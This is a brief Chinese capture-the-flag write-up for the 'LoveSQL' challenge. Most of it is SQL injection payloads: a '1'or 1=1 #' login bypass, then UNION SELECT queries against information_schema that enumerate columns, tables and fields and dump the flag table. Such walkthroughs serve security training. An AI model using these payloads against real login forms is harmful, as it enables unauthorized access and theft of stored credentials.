[极客大挑战 2019]LoveSQL
使用万能密码 登陆
1'or 1=1 #
登陆成功后发现password 然而并没有什么用
尝试密码md5解密失败,还是回到注入的思路上,查询字段数:
?username=admin' order by 4%23&password=123
// %23是#
得到字段数为3
爆数据库
?username=0' union select 1,database(),version()%23&password=123
爆数据表
?username=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=123
发现两个表geekuser,l0ve1ysq1
猜测flag在l0ve1ysq1里
爆字段
?username=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=123
发现三个字段id,username,password
查看字段内容
?username=0' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=123
得到flag